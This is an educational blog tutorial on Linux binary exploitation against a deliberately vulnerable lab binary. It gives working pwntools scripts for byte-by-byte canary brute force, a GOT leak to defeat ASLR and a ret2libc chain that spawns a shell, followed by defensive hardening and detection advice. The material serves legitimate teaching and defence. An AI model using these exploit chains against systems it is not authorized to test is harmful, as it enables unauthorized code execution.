Defeating ASLR, NX, and Stack Canaries: A Practical Exploitation Primer

RE & Pwn
Time it takes to read this article 6 minutes.

Disclaimer: This article is for education and authorized security testing only. Run every example against binaries you own or that you are explicitly permitted to test (CTF targets, your own lab). Exploiting systems you do not own is illegal in most jurisdictions.

Introduction / Overview

Modern Linux binaries ship with three independent mitigations that together make naive stack-smashing useless: stack canaries (detect overwrites of the saved return address), NX/DEP (the stack is non-executable, killing classic shellcode), and ASLR/PIE (randomized addresses defeat hardcoded jumps). None of these is a silver bullet. Each was designed to raise cost, not to be unbreakable, and in combination they can still be defeated when the program leaks an address or mishandles input.

This post walks through the standard chain a practitioner uses: leak a value to defeat ASLR, recover the canary, and pivot to a ret2libc ROP chain that respects NX. We use a deliberately vulnerable binary in a lab. If you are new to disassembly, start with getting started with Ghidra and the introduction to ROP.

How it works / Background

  • Stack canary (SSP): GCC's -fstack-protector inserts a random word between local buffers and the saved RBP/return address. On function exit, __stack_chk_fail aborts if the value changed. The canary is randomized per-process at load and (on glibc) its low byte is 0x00 to stop string-based leaks.
  • NX (No-eXecute): The stack and heap are mapped without execute permission, so you cannot jump into injected shellcode. The answer is code reuse — ret2libc and ROP, chaining existing executable bytes.
  • ASLR + PIE: ASLR randomizes the base of libc, the stack, and mmap regions. PIE (-fpie -pie) additionally randomizes the binary image itself. To call known gadgets or libc functions you must first leak a runtime address and compute a base.

The GOT/PLT machinery is central. The Procedure Linkage Table (PLT) is the call stub; the Global Offset Table (GOT) holds resolved function addresses. Leaking a single GOT entry (e.g. the runtime address of puts) reveals libc base once you subtract the symbol's offset.

Prerequisites / Lab setup

# Tooling
sudo apt install gdb python3-pip ltrace
pip install pwntools ROPgadget
# pwndbg makes gdb usable for pwn work
git clone https://github.com/pwndbg/pwndbg && cd pwndbg && ./setup.sh
Bash

A vulnerable target (canary + NX on, PIE off to keep the example focused on libc ASLR):

gcc -fstack-protector-all -z noexecstack -no-pie -fno-pie -o vuln vuln.c
checksec --file=vuln
# RELRO  STACK CANARY  NX        PIE
# Partial  Canary found  NX enabled  No PIE
Bash

Confirm ASLR is active system-wide (2 = full randomization):

cat /proc/sys/kernel/randomize_va_space   # expect 2
Bash

Walkthrough / PoC

Assume a printf-with-user-format bug for the leak and a stack overflow in the same program — a common CTF pairing.

1. Brute-force or leak the canary

If the program forks per connection (the child inherits the parent's canary), you can brute-force byte-by-byte: overflow exactly one canary byte, observe crash vs. no-crash, and keep the byte that does not trigger __stack_chk_fail. Because the canary is 8 bytes (one fixed 0x00), this is at most 7 * 256 = 1792 requests instead of 2^56.

from pwn import *

canary = b"\x00"  # known null low byte
for pos in range(7):
    for guess in range(256):
        io = remote("127.0.0.1", 1337)
        io.send(b"A" * 64 + canary + bytes([guess]))
        resp = io.recvall(timeout=1)
        io.close()
        if b"stack smashing detected" not in resp:
            canary += bytes([guess])
            log.info(f"canary byte {pos}: {guess:#04x}")
            break
log.success(f"canary = {canary.hex()}")
Python

If instead the binary has a format-string bug, leak the canary directly — it sits at a predictable stack slot:

# find the slot interactively
./vuln <<< "%p %p %p %p %p %p %p %p"
# the value ending in '00' that is not a libc/stack pointer is the canary
Bash

2. Leak libc to defeat ASLR

Build a ROP chain that calls puts(puts@GOT) to print the live address of puts, then returns to main so we can send a second payload. ROPgadget finds the pop rdi; ret gadget needed to set the first argument.

ROPgadget --binary vuln | grep "pop rdi ; ret"
# 0x0000000000401283 : pop rdi ; ret
Bash
from pwn import *

elf = ELF("./vuln")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("./vuln")

pop_rdi = 0x401283
payload  = b"A" * 64
payload += canary            # recovered above
payload += b"B" * 8          # saved RBP
payload += p64(pop_rdi)
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(elf.symbols["main"])  # loop back

io.sendline(payload)
leak = u64(io.recvline().strip().ljust(8, b"\x00"))
libc.address = leak - libc.symbols["puts"]   # rebase libc
log.success(f"libc base = {libc.address:#x}")
Python

3. ret2libc: pop a shell

With libc.address known, compute system and "/bin/sh" and send a second chain. We add a bare ret for 16-byte stack alignment, which system requires on modern glibc (movaps faults otherwise).

ret = pop_rdi + 1   # the 'ret' inside 'pop rdi ; ret'
binsh = next(libc.search(b"/bin/sh\x00"))

payload  = b"A" * 64 + canary + b"B" * 8
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(libc.symbols["system"])
io.sendline(payload)
io.interactive()   # $ id
Python

The three mitigations fell in sequence: the canary via leak/brute, ASLR via the GOT leak, and NX by reusing libc code instead of injecting any.

Mermaid diagram

Defeating ASLR, NX, and Stack Canaries: A Practical Exploitation Primer diagram 1

The diagram shows the decision flow: handle the canary first, then leak a GOT address to defeat ASLR, then reuse libc code to sidestep NX.

Detection & Defense (Blue Team)

Mitigations matter as much as the attack. Defenders should layer the following:

  • Keep PIE on. Compile with -fPIE -pie. Without PIE, gadgets and the GOT live at fixed addresses, removing the need to leak the binary base. checksec should report PIE enabled.
  • Full RELRO. Build with -Wl,-z,relro,-z,now. This makes the GOT read-only after startup, blocking GOT-overwrite hijacks and reducing the value of GOT-based primitives.
  • Strong stack protection. Use -fstack-protector-strong (or -all). Pair with _FORTIFY_SOURCE=2 (-D_FORTIFY_SOURCE=2 -O2) to catch many overflow patterns at compile and runtime.
  • Don't fork-and-reuse secrets. Pre-forking servers share the parent canary, enabling brute force. Re-exec per connection so each child re-randomizes, or front the service with a process that does not leak crash/no-crash oracles.
  • Suppress oracles. Generic error pages, no distinct crash signatures, and rate limiting deny the attacker the signal needed for byte-by-byte brute force. Log repeated __stack_chk_fail / SIGSEGV from one peer as an attack indicator.
  • Modern hardware/OS mitigations. Intel CET (shadow stack + IBT, kernel user_shstk) and ARM PAC/BTI break ROP/ret2libc by validating return addresses. Enable them where the toolchain and CPU support it (-fcf-protection=full).
  • Detection telemetry. This activity maps to MITRE ATT&CK T1203 (Exploitation for Client Execution) and T1068 (Exploitation for Privilege Escalation). Repeated child crashes, auditd SIGSEGV/SIGABRT bursts, and EDR call-stack anomalies (returns into libc not preceded by a call) are high-value signals.

A useful one-liner for an audit sweep:

for f in /usr/bin/* /usr/sbin/*; do checksec --file="$f"; done | grep -E "No PIE|No canary|No RELRO"
Bash

Conclusion

ASLR, NX, and stack canaries are complementary, not redundant. Each forces the attacker to acquire something extra — an address leak, a code-reuse chain, or a brute-force oracle. The exploitation pattern is therefore predictable: leak to beat ASLR, code-reuse to beat NX, leak-or-brute to beat the canary. For defenders, the takeaway is equally clear: enable every mitigation (PIE, full RELRO, strong canaries, CET/PAC), deny crash oracles, and treat repeated __stack_chk_fail events as an alert, not noise. The next layer to study is bypassing full RELRO and CET — see our note on advanced heap exploitation.

References

Comments

Copied title and URL